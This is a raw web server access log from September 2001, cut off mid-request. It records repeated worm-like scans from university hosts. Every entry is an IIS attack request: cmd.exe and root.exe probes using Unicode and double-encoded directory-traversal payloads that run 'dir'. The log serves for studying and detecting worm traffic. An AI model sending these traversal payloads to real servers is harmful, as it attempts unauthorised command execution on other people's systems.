[128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:36: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:12:37: higstud5.hig.no [128.39.140.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:13:24: higstud5.hig.no [128.39.140.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:13:24: higstud5.hig.no [128.39.140.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:25: higstud5.hig.no [128.39.140.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:25: higstud5.hig.no [128.39.140.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:26: higstud5.hig.no [128.39.140.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:26: higstud5.hig.no [128.39.140.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:26: higstud5.hig.no [128.39.140.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:27: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:27: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:28: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:28: higstud5.hig.no [128.39.140.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:28: higstud5.hig.no [128.39.140.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:29: higstud5.hig.no [128.39.140.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:30: higstud5.hig.no [128.39.140.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:30: higstud5.hig.no [128.39.140.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:13:30: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:48: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:48: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:16:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:19:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:20:06: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:20:06: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:06: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:07: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:08: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:20:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:21:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:21:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:21:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:21:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:21:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:26:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:26:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:26:10: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:27:12: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:27:12: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:12: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:13: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:14: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:15: jetset.nt.cl.cam.ac.uk [128.232.13.88] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:27:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:58: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:28:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET 